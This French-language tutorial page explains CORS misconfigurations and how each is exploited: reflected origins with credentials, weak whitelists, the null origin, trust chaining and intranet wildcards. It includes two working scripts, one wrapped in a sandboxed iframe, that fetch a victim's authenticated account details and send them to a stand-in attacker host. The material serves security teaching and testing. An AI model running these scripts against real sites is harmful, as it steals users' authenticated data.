Aller au contenu

CORS

Le partage de ressources entre origines (Cross-Origin Resource Sharing, CORS) est un mécanisme du navigateur qui contrôle l'accès aux ressources situées hors du domaine courant. Il étend la politique de même origine (Same-Origin Policy, SOP) en autorisant, de façon contrôlée, certains accès inter-origines. Mal configurée, une politique CORS introduit des failles — notamment l'accès à des données sensibles d'autres utilisateurs.

Le cas exploitable de base

Le scénario classique combine deux conditions dans la réponse à une requête inter-origine : l'en-tête Access-Control-Allow-Credentials: true (qui autorise l'envoi des identifiants de l'utilisateur) et une origine réfléchie. On confirme la vulnérabilité en ajoutant un en-tête Origin: https://exemple.com à la requête et en constatant que cette origine est renvoyée telle quelle dans la réponse. Sans l'en-tête Allow-Credentials, les identifiants ne sont pas transmis et l'accès se réduit à une lecture anonyme banale.

Quand les deux conditions sont réunies, on exploite via un script hébergé qui lit les données authentifiées de la victime et les exfiltre :

<script>
var req = new XMLHttpRequest();
req.onload = function() {
    fetch('https://attaquant.example', {method:'POST', mode:'no-cors', body:this.responseText});
};
req.open('get', 'https://site-vulnerable.example/accountDetails', true);
req.withCredentials = true;
req.send();
</script>

La seule différence avec l'exploitation d'une XSS est la propriété withCredentials = true, qui force l'envoi des cookies de session.

Mauvaises validations de liste blanche

Quand une application autorise plusieurs origines via une liste blanche, la façon de la construire crée souvent des failles. Une comparaison de préfixe ou de suffixe se contourne en enregistrant un domaine qui se termine par la séquence autorisée, ou un sous-domaine moins sécurisé déjà compromis. Les mêmes erreurs que pour la validation de l'en-tête Host et des défenses SSRF s'appliquent ici.

L'origine null

Certaines applications autorisent la valeur null pour l'en-tête Origin. Or une iframe en bac à sable génère justement une origine null, ce qui permet d'exploiter cette confiance :

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = function() {
    fetch('https://attaquant.example', {method:'POST', mode:'no-cors', body:this.responseText});
};
req.open('get', 'https://site-vulnerable.example/accountDetails', true);
req.withCredentials = true;
req.send();
</script>"></iframe>

CORS comme relais d'attaque

De façon plus générale, CORS établit une relation de confiance entre deux sites. Si l'attaquant compromet l'un d'eux (via une XSS, par exemple), il peut s'en servir pour attaquer l'autre, en chaînant XSS et requête CORS authentifiée.

CORS sans l'en-tête Allow-Credentials

En l'absence de Access-Control-Allow-Credentials: true, la plupart des exploits sont impossibles. Une autre voie existe néanmoins via les réseaux internes, identifiables par des réponses où l'origine est autorisée de façon trop large :

GET /reader?url=doc1.pdf
Host: intranet.site-vulnerable.example
Origin: https://site-vulnerable.example

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

Un service interne renvoyant Access-Control-Allow-Origin: * peut être atteint depuis une page web si l'attaquant parvient à atteindre le réseau interne.

Aide-mémoire

Configuration Exploitation
Allow-Credentials: true + origine réfléchie Lecture de données authentifiées via withCredentials
Validation par préfixe/suffixe Domaine ou sous-domaine forgé
Origine null autorisée Iframe en bac à sable (sandbox)
Relation de confiance XSS sur un site de confiance → requête CORS
Allow-Origin: * interne Accès aux services intranet

Le réflexe de diagnostic est d'ajouter un en-tête Origin arbitraire et de vérifier s'il est réfléchi avec Allow-Credentials: true — la combinaison qui rend la faille exploitable.